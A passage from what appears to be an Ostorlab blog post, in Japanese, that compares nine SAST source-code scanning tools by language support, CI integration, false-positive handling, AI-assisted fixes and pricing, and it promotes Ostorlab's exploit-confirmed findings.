&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;53言語を掲載（Python、Java、GoからCOBOL、ABAP、Solidityまで）&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;GitHub、GitLab、Jenkins、Azure DevOps、Bitbucket、CircleCI、Harness&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;SAST、SCA、シークレットに加え、同じスキャン内でWeb、API、モバイルのテスト&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;稼働中のアプリがスコープに含まれる場合、実際に動作するエクスプロイトで検出結果を確定&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;修正をプルリクエストにプッシュ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;公開されている料金プラン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;&lt;strong&gt;GitHub Code Security（CodeQL）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;10の言語グループ（C/C++、C#、Go、JavaとKotlin、JavaScriptとTypeScript、Python、Ruby、Rust、Swiftなど）&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;GitHub Actions。その他のCIにはCodeQL CLI&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;SAST。シークレットはSecret Protection、依存関係はDependabotで対応&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;セマンティックなデータフロー解析&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Copilot Autofix&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;コミッターごとに月額でCode Securityが$30、Secret Protectionが$19&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;&lt;strong&gt;Semgrep&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;35+言語&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;GitHub Actions、GitLab CI/CD、Jenkins、Bitbucket、CircleCI、Buildkite、Azure Pipelines、Semaphore&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;SAST、SCA、シークレット&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Semgrep Multimodalが検出結果をトリアージし、誤検知の可能性が高いものにフラグを付ける&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;プルリクエスト内での段階的な修正ガイダンス&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;コントリビューター10人まで無料。Teamsはコントリビューターごとに月額$30から&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;&lt;strong&gt;Snyk Code&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;16の言語グループ（JavaとKotlin、JavaScript、TypeScript、Python、Go、.NET、Swiftなど）&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;GitHub Actions、GitLab CI、Jenkins、CircleCI、Azure Pipelines&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;SAST。SnykプラットフォームでSCA、コンテナ、IaCにも対応&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;シンボリック解析と機械学習による解析&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Snyk Agent Fix&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;無料プランあり。Teamは月額$25から&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;&lt;strong&gt;Checkmarx One&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;幅広く対応。COBOLやPL/SQLなどのレガシー言語も含む&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;GitHub Actions、GitLab、Jenkins、Azure DevOps&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;SAST、SCA、シークレット、IaC、コンテナ、APIセキュリティ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;AIによる検出結果の分析とトリアージ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;AIによる修復とDeveloper Assist&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;要見積もり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;&lt;strong&gt;SonarQube&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;セキュリティ解析は35+言語、全体では40+言語&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Server：GitHub Actions、GitLab CI/CD、Bitbucket Pipelines、Azure Pipelines、Jenkins。CloudではCircleCIとTravis CIにも対応&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;テイント解析を伴うSAST（有償エディション）、シークレット、IaC&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;ファイル横断および関数横断の解析&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;AI CodeFix（CloudのTeamとEnterprise、ServerのEnterpriseとData Center）&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Cloudは無料枠あり、Teamは月額$34から。Serverは要見積もり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;&lt;strong&gt;Veracode&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;100+の言語とフレームワーク、ソースとバイナリ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Jenkins、Maven、Gradle、GitHub、GitLab、Azure DevOps&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;SAST、SCA、DAST、IaC、コンテナ&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;誤検知率は1.1%未満と公表&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Veracode Fix&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;要見積もり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;&lt;strong&gt;Black Duck Coverity&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;21〜22言語、200+のフレームワーク（C/C++、CUDA、Fortranを含む）&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Jenkins、GitLab、Bitbucket、GitHub、Azure DevOps向けのBridge CLI&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;SAST。Black DuckプラットフォームでSCAにも対応&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;真の検出結果を浮かび上がらせるよう設計された深い静的解析&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Polaris Assist&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;要見積もり。オープンソースプロジェクト向けに無料のCoverity Scan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="background:#fcfcfd;"&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;&lt;strong&gt;OpenText Fortify&lt;/strong&gt;&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;44+言語、350+のフレームワーク&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Jenkins、GitHub、GitLab、Azure DevOps&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;SAST。Fortify製品群でDASTとSCAにも対応&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;誤検知の可能性が高いものをAI支援で抑制&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;Fortify Remediation Aviator&lt;/td&gt;
&lt;td style="padding:0.7rem; border:1px solid #d8dce6; vertical-align:top;"&gt;要見積もり&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h2 id="sastツールの比較"&gt;SASTツールの比較&lt;/h2&gt;
&lt;h3 id="対応言語"&gt;対応言語&lt;/h3&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlab Source Code Scanのプログラミング言語対応" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-27-Best-source-code-scanning-tools/Programming-languages-support-Ostorlab.png" title="Ostorlab Source Code Scanが対応するプログラミング言語"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab Source Code Scanが対応するプログラミング言語&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;対応言語によって、一つのツールで自社のすべてのアプリケーションをカバーできるかどうかが決まります。Veracodeは100+の言語とフレームワーク、OpenText Fortifyは44+言語、SonarQubeはセキュリティ解析で35+言語、Semgrepは35+言語を掲載しています。Ostorlabのソースコードのページには53言語が掲載されており、COBOL、ABAP、Solidity、Moveといった比較的珍しい言語も含まれます。Snyk Codeは16の言語グループ、CodeQLは10の言語グループに対応しており、最も広く使われている言語をカバーしています。&lt;/p&gt;
&lt;p&gt;ほとんどのチームにとって、対応言語が選択の決め手になることはありません。多くの技術スタックにまたがって開発している場合や、レガシー言語やニッチな言語を使っている場合に重要になります。&lt;/p&gt;
&lt;h3 id="ci/cdおよびリポジトリとの連携"&gt;CI/CDおよびリポジトリとの連携&lt;/h3&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="OstorlabのCI/CD連携" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-27-Best-source-code-scanning-tools/Ostorlab-CICD-Integrations.png" title="OstorlabのCI/CD連携"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;OstorlabのCI/CD連携&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;ここで取り上げるツールはいずれも主要なCIシステムやGitプロバイダーと連携できるため、問題は自社の環境に対応しているかどうかです。GitHub Code SecurityはGitHubにネイティブに組み込まれています。Ostorlab、Semgrep、Snyk CodeはセルフホストのGitサーバーに接続でき、SnykはSnyk Brokerを介して接続します。SonarQubeのネイティブなCI連携は、ServerとCloudで異なります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlab Source Code Scanのリポジトリ連携" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-27-Best-source-code-scanning-tools/Ostorlab-Source-code-repo-integrations.png" title="Ostorlab Source Code Scanのリポジトリ連携"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab Source Code Scanのリポジトリ連携&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="スキャンのカバレッジとエクスプロイトによる実証"&gt;スキャンのカバレッジとエクスプロイトによる実証&lt;/h3&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlab Source Code Scanのカバレッジのヒートマップ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-27-Best-source-code-scanning-tools/Heatmap-for-Agentic-Deep-Scan.png" title="Ostorlab Source Code Scanのカバレッジのヒートマップ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab Source Code Scanのカバレッジのヒートマップ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;ほとんどのツールはSASTにSCAとシークレット検出を組み合わせており、エンタープライズ向けプラットフォームはさらにIaC、コンテナ、API、動的テストを加えています。違いが出るのは、検出結果が報告された後に何が起きるかです。ルールベースやデータフローベースのスキャナーは脆弱性の可能性を報告し、実証は自社のチームに委ねます。&lt;/p&gt;
&lt;p&gt;Ostorlabはそこにステップを一つ加えます。&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;では、エージェントがコード上の各検出結果について、稼働中のWebアプリ、API、モバイルアプリに対する悪用を試み、リクエスト、レスポンス、影響を記録します。実際に動作するエクスプロイトを伴う検出結果であれば、その是非を議論する必要はありません。&lt;/p&gt;
&lt;h3 id="誤検知"&gt;誤検知&lt;/h3&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabの悪用可能性を重視した検出結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-27-Best-source-code-scanning-tools/Ostorlab-Exploitability-First-Findings.png" title="Ostorlabの悪用可能性を重視した検出結果"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlabの悪用可能性を重視した検出結果&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;誤検知とは、存在しない欠陥や到達できない欠陥に対するアラートです。各ベンダーはそれぞれ異なる方法で誤検知を減らしています。CodeQLはセマンティックなデータフロー解析、SonarQubeはファイル横断の解析、SemgrepとOpenText Fortifyは誤検知の可能性が高いものにフラグを付けるAIトリアージ、Checkmarx OneはAIによる検出結果の分析を用いています。Veracodeは誤検知率が1.1%未満であると公表しています。これらの数値は測定方法が異なるため、直接比較することはできません。&lt;/p&gt;
&lt;p&gt;Ostorlabは、フィルタリングではなく実証によってノイズを減らします。稼働中のアプリがスコープに含まれている場合、確定した検出結果には実際に動作するエクスプロイトが付きます。&lt;/p&gt;
&lt;h3 id="ai支援型の修正と修正の追跡"&gt;AI支援型の修正と修正の追跡&lt;/h3&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabがプルリクエストにプッシュする修正" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-27-Best-source-code-scanning-tools/Ostorlab-Remediation.png" title="Ostorlabがプルリクエストにプッシュする修正"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlabがプルリクエストにプッシュする修正&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;9つのツールはいずれも、AIを用いて修正を提案または生成します。Copilot Autofix、Snyk Agent Fix、Semgrep Multimodal、SonarQube AI CodeFix、Veracode Fix、Polaris Assist、Fortify Remediation Aviator、Checkmarx Developer Assist、そしてプルリクエストに修正をプッシュするOstorlabです。&lt;/p&gt;
&lt;p&gt;修正が機能したかを確認することは、修正を書くことと同じくらい重要です。Ostorlabでは、各検出結果がチケットで追跡されます。チケットが修正済みとしてマークされると、以降のスキャンでそれを確認し、問題が解消されていれば検証済みとしてマークし、問題が再発すればチケットを再オープンします。&lt;/p&gt;
&lt;h2 id="自社に合ったsastツールはどれか"&gt;自社に合ったSASTツールはどれか&lt;/h2&gt;
&lt;p&gt;ここで取り上げるツールには、いずれも確かな強みがあります。最適なツールは、自社のセキュリティプログラム、開発ワークフロー、デプロイ要件によって決まります。&lt;/p&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;Ostorlabは、悪用可能であることが実証された検出結果を求めるチームのためのSASTツールです。AIエージェントがソースコードをレビューして脆弱性やロジックの欠陥を探し、稼働中のWebアプリ、API、モバイルアプリが同じスキャンに含まれている場合は、実際に動作するエクスプロイトによって検出結果を確定します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な利用者&lt;/strong&gt;：悪用可能であることが実証された検出結果を修正したいチーム、そしてリスクがコード、API、Webアプリ、モバイルアプリにまたがるチーム。&lt;/p&gt;
&lt;p&gt;Ostorlabは固定のルールセットではなくAIエージェントでソースコードをスキャンするため、既知の脆弱性パターンに加えて、ロジックの欠陥や複数のステップにまたがるバグも探します。&lt;a href="https://ostorlab.co/product/source-code"&gt;ソースコードのページ&lt;/a&gt;には53言語が掲載されています。&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;では、リポジトリが、そこからビルドされたWebアプリ、API、モバイルアプリとともにスキャンされ、エージェントはコード上の各検出結果について、稼働中の対象に対する悪用を試みます。リポジトリ単体でスキャンした場合は、コードのコンテキストとエビデンスを伴う検出結果が得られます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強み&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;稼働中のアプリに対してAIエージェントが確定した各検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスが付きます。&lt;/li&gt;
&lt;li&gt;コード、Webアプリ、API、Android・iOS・HarmonyOSアプリを、一つのスキャンと一つのレポートで扱えます。&lt;/li&gt;
&lt;li&gt;修正はプルリクエストにプッシュされます。各検出結果はチケットで追跡され、修正済みの問題が再発した場合は以降のスキャンでチケットが再オープンされます。&lt;/li&gt;
&lt;li&gt;SaaS、ハイブリッド、または&lt;a href="https://ostorlab.co/product/on-premises-scanning/source-code"&gt;オンプレミスのスキャナーノード&lt;/a&gt;に対応し、Ostorlab Cyber Modelsまたは自社のAIプロバイダーのキーを利用できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考慮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コードエディター向けのプラグインはありません。開発者はプルリクエストから、またMCPクライアントを通じて作業します。&lt;/li&gt;
&lt;li&gt;ルールの作成ではなく、エージェント型の解析を中心に設計されています。カスタムルールを数多く書くチームには、Semgrepの方が適している場合があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;価格&lt;/strong&gt;：&lt;a href="https://ostorlab.co/plans"&gt;公開されている料金プラン&lt;/a&gt;。&lt;/p&gt;
&lt;h3 id="github-code-security-codeql"&gt;GitHub Code Security（CodeQL）&lt;/h3&gt;
&lt;p&gt;GitHub Code Security（CodeQL）は、コードとプルリクエストをGitHubで管理しているチームのためのSASTツールで、CodeQLによるコードスキャンとCopilot Autofixがプルリクエストに組み込まれています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な利用者&lt;/strong&gt;：コードとプルリクエストをGitHubで管理している組織。&lt;/p&gt;
&lt;p&gt;GitHub Advanced Securityは現在、&lt;strong&gt;GitHub Code Security&lt;/strong&gt;と&lt;strong&gt;GitHub Secret Protection&lt;/strong&gt;の&lt;a href="https://github.com/security/plans" rel="nofollow noopener noreferrer" target="_blank"&gt;2つの製品として販売&lt;/a&gt;されています。Code Securityには、&lt;a href="https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql" rel="nofollow noopener noreferrer" target="_blank"&gt;CodeQLによるコードスキャン&lt;/a&gt;と、プルリクエスト内で修正を提案するCopilot Autofixが含まれます。GitHub以外での主な選択肢は、GitHub Advanced Security for Azure DevOpsです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強み&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ファイルをまたいだセマンティックなデータフロー解析。&lt;/li&gt;
&lt;li&gt;GitHubにネイティブに組み込まれており、リポジトリの設定からコードスキャンを有効にでき、アラートはプルリクエスト上に表示されます。&lt;/li&gt;
&lt;li&gt;プルリクエスト内でのCopilot Autofix。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考慮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Checkmarx OneやVeracodeといったエンタープライズ向けプラットフォームと比べると、対応言語が少なめです。&lt;/li&gt;
&lt;li&gt;最良の体験が得られるのはGitHub内に限られます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;価格&lt;/strong&gt;：GitHub TeamまたはEnterpriseプランで、アクティブなコミッターごとに月額、Code Securityが$30、Secret Protectionが$19。&lt;/p&gt;
&lt;h3 id="semgrep"&gt;Semgrep&lt;/h3&gt;
&lt;p&gt;Semgrepは、高速なスキャンと自分たちで書くカスタムルールを求めるチームのためのSASTツールで、オープンソースのCommunity Editionも提供されています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な利用者&lt;/strong&gt;：高速なスキャンとカスタムルールを求める、開発者主導のチーム。&lt;/p&gt;
&lt;p&gt;Semgrep Codeは、SASTで&lt;a href="https://docs.semgrep.dev/supported-languages" rel="nofollow noopener noreferrer" target="_blank"&gt;35+言語に対応&lt;/a&gt;しています。AIレイヤーである&lt;a href="https://docs.semgrep.dev/semgrep-assistant/overview" rel="nofollow noopener noreferrer" target="_blank"&gt;Semgrep Multimodal&lt;/a&gt;は、自社のコードとトリアージの履歴を用いて検出結果をトリアージし、検出結果を無視してよいかどうかを提案します。Semgrepは、Semgrep Codeの検出結果における誤検知の見極めについて95%を超える精度があるとしています。&lt;a href="https://semgrep.dev/products/community-edition" rel="nofollow noopener noreferrer" target="_blank"&gt;Community Edition&lt;/a&gt;は、LGPL 2.1のもとでオープンソースとして公開されています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強み&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;高速なスキャンと、書きやすいカスタムルール。&lt;/li&gt;
&lt;li&gt;スキャンはローカルでもCIでも実行できるため、ソースコードを自社の環境の外に出す必要がありません。&lt;/li&gt;
&lt;li&gt;無料枠とオープンソースのCommunity Edition。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考慮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;カスタムルールには継続的なメンテナンスが必要です。&lt;/li&gt;
&lt;li&gt;コードに特化しており、稼働中のWebアプリ、API、モバイルアプリはテストしません。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;価格&lt;/strong&gt;：コントリビューター10人、リポジトリ10個まで&lt;a href="https://semgrep.dev/pricing" rel="nofollow noopener noreferrer" target="_blank"&gt;無料&lt;/a&gt;。Teamsはコントリビューターごとに月額$30から。Enterpriseは要見積もり。&lt;/p&gt;
&lt;h3 id="snyk-code"&gt;Snyk Code&lt;/h3&gt;
&lt;p&gt;Snyk Codeは、コードエディターとプルリクエストでセキュリティに関するフィードバックを得たいチームのための、開発者ファーストのSASTツールです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な利用者&lt;/strong&gt;：コードを書きながらセキュリティに関するフィードバックを得たい開発チーム。&lt;/p&gt;
&lt;p&gt;Snyk Codeは&lt;a href="https://docs.snyk.io/supported-languages/supported-languages-list" rel="nofollow noopener noreferrer" target="_blank"&gt;16の言語グループに対応&lt;/a&gt;しており、VS Code、JetBrains IDE、Visual Studio、Eclipse向けの&lt;a href="https://docs.snyk.io/developer-tools/snyk-ide-plugins-and-extensions" rel="nofollow noopener noreferrer" target="_blank"&gt;プラグイン&lt;/a&gt;を提供しています。&lt;a href="https://docs.snyk.io/scan-fix-and-prevent/scan-with-snyk/snyk-code/manage-code-vulnerabilities/fix-code-vulnerabilities-automatically" rel="nofollow noopener noreferrer" target="_blank"&gt;Snyk Agent Fix&lt;/a&gt;は修正候補を生成し、検証します。SnykはSaaSであり、セルフホストのGitサーバーを利用するチームはSnyk Brokerを介して接続します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強み&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コードエディターおよびプルリクエストとの連携。&lt;/li&gt;
&lt;li&gt;SCA、コンテナ、IaCのスキャンを含む、より広いプラットフォームの一部。&lt;/li&gt;
&lt;li&gt;無料プランから始められます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考慮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;開発者中心のワークフロー向けに作られています。&lt;/li&gt;
&lt;li&gt;ガバナンスの要件が厳しいチームやオンプレミスが必要なチームには、エンタープライズ向けプラットフォームの方が適している場合があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;価格&lt;/strong&gt;：&lt;a href="https://snyk.io/plans/" rel="nofollow noopener noreferrer" target="_blank"&gt;無料プラン&lt;/a&gt;あり。Teamは月額$25から。Enterpriseは要見積もり。&lt;/p&gt;
&lt;h3 id="checkmarx-one"&gt;Checkmarx One&lt;/h3&gt;
&lt;p&gt;Checkmarx Oneは、幅広い言語カバレッジ、一元的なガバナンス、監査レポートを必要とするAppSecチームのための、エンタープライズ向けSASTプラットフォームです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な利用者&lt;/strong&gt;：成熟したAppSecプログラムとコンプライアンスプログラムを持つ大企業。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://checkmarx.com/product/application-security-platform/" rel="nofollow noopener noreferrer" target="_blank"&gt;Checkmarx One&lt;/a&gt;は、SASTにSCA、シークレット、IaC、コンテナ、APIセキュリティを組み合わせており、COBOLやPL/SQLといったレガシー言語を含む&lt;a href="https://docs.checkmarx.com/en/34965-149060-sast-scanner---supported-languages-and-frameworks.html" rel="nofollow noopener noreferrer" target="_blank"&gt;幅広い言語をカバー&lt;/a&gt;しています。&lt;a href="https://checkmarx.com/product/developer-assist/" rel="nofollow noopener noreferrer" target="_blank"&gt;Developer Assist&lt;/a&gt;は、検出結果と修正を開発者のツールに届けます。Checkmarxは現在も、従来のルールベースのエンジンを搭載したオンプレミス向けの&lt;a href="https://checkmarx.com/cxsast-source-code-scanning/" rel="nofollow noopener noreferrer" target="_blank"&gt;CxSAST&lt;/a&gt;を販売しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強み&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;レガシー言語を含む幅広い言語カバレッジ。&lt;/li&gt;
&lt;li&gt;ガバナンス、ポリシー、監査レポート。&lt;/li&gt;
&lt;li&gt;AI支援型のトリアージと修復。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考慮点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;専任のAppSecチームを持つ組織に最も適しています。&lt;/li&gt;
&lt;li&gt;AIエンジンはクラウド製品に搭載されており、オンプレミスのCxSASTはルールベースです。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;価格&lt;/strong&gt;：要見積もり。&lt;/p&gt;
&lt;h3 id="sonarqube"&gt;SonarQube&lt;/h3&gt;
&lt;p&gt;SonarQubeは、コード品質ゲートの中でセキュリティチェックを行いたいチームのためのSASTツールで、セルフホストのServerエディションとSaaSのCloudエディションがあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な利用者&lt;/strong&gt;：コード品質と同じツールでセキュリティも扱いたいチーム。&lt;/p&gt;
&lt;p&gt;SonarQubeは、&lt;a href="https://www.sonarsource.com/solutions/security/" rel="nofollow noopener noreferrer" target="_blank"&gt;セキュリティ解析で35+言語&lt;/a&gt;、全体では40+言語をカバーしています。&lt;a href="https://www.sonarsource.com/solutions/ai/ai-codefix/" rel="nofollow noopener noreferrer" target="_blank"&gt;AI CodeFix&lt;/a&gt;は、Java、JavaScript、TypeScript、Python、C#、C++の一部のルールについて、ワンクリックでの修正を提案します。SonarQube CloudはSaaS、SonarQube Serverはセルフマネージドであり、無料のCommunity Buildにはテイント解析を伴うSASTは含まれていません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;強み&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
